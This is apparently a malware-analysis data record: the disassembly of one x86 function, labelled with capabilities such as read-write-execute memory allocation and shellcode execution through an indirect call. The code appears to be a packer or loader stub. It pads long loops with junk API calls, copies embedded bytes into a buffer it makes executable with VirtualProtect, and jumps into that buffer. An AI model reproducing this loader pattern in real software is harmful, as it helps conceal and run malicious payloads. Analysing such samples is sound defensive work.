Function at 0x403820
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp esi, 0xfa62c8f
jge 0x403870
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x403881
inc esi
cmp esi, 0x67d12
jl 0x40383a
mov eax, dword [0x5e2374]
cmp eax, 0x93
jne 0x403915
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0x40334c
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
call fcn.004042c7
push 0
call fcn.00404668
add esp, 4
push 0
call fcn.0040467e
add esp, 4
push 0
push 0
call fcn.00404441
add esp, 8
push 0
call fcn.00404a34
mov ecx, dword [0x43f87c]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e31b0], ecx
mov dword [0x5e2374], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x5e2374]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e1e04], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperW]
mov esi, 0x1692e
mov edi, edi
push 0
push 0
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x403960
cmp dword [0x5e2374], esi
jbe 0x4039e4
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov edx, dword [0x5e31b0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x5e1e04]
mov byte [ecx + esi], al
cmp dword [0x5e2374], 0x490
jne 0x4039db
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e2374]
jb 0x403987
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor esi, esi
mov eax, dword [0x5e2374]
add eax, esi
cmp eax, 0x8d
jne 0x403a28
push 0
lea ecx, [ebp - 0x810]
push ecx
push 0
push 0x40338c
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4039f2
call fcn.00403500
xor edi, edi
xor esi, esi
lea ebx, [ebx]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x403a5f
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x1153a
mov edx, dword [ebp - 4]
add dword [0x5e1e04], edx
inc esi
cmp esi, 0x674bd
jl 0x403a40
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x5e2374], 0x86
jne 0x403ac2
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e2374], 0xf
jne 0x403ad9
push 0
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403a81
push 0x403394
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e1e04]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret